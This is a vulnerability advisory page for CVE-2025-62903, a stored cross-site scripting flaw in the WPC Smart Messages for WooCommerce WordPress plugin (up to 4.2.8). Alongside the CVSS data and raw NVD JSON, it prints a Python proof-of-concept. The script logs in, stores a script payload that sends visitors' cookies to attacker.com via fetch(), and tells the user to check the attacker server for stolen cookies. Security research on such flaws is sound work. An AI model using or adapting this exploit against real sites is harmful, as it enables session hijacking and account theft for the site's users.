Security Vulnerability Report
中文
CVE-2025-62903 CVSS 6.5 MEDIUM

CVE-2025-62903

Published: 2025-10-27 02:15:49
Last Modified: 2026-04-27 18:16:29

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPClever WPC Smart Messages for WooCommerce wpc-smart-messages allows Stored XSS.This issue affects WPC Smart Messages for WooCommerce: from n/a through <= 4.2.8.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPC Smart Messages for WooCommerce (wpc-smart-messages) <= 4.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62903 PoC - WPC Smart Messages Stored XSS # Target: WordPress site with WPC Smart Messages plugin <= 4.2.8 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = 'attacker' password = 'attacker_password' session = requests.Session() # Step 1: Login to WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Create message with XSS payload # The XSS payload will be stored and executed when viewed xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' message_data = { 'post_title': 'Malicious Message', 'post_content': xss_payload, 'post_type': 'wpc_message', 'action': 'save_message' } # Step 3: Submit the malicious message add_message_url = f'{target_url}/wp-admin/admin-ajax.php' message_response = session.post(add_message_url, data=message_data) # Step 4: Trigger XSS by accessing the message page message_page_url = f'{target_url}/?wpc_message=malicious-message' session.get(message_page_url) print('XSS payload sent. Check attacker server for stolen cookies.') print(f'Payload: {xss_payload}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62903", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:49.457", "lastModified": "2026-04-27T18:16:28.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPClever WPC Smart Messages for WooCommerce wpc-smart-messages allows Stored XSS.This issue affects WPC Smart Messages for WooCommerce: from n/a through <= 4.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpc-smart-messages/vulnerability/wordpress-wpc-smart-messages-for-woocommerce-plugin-4-2-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}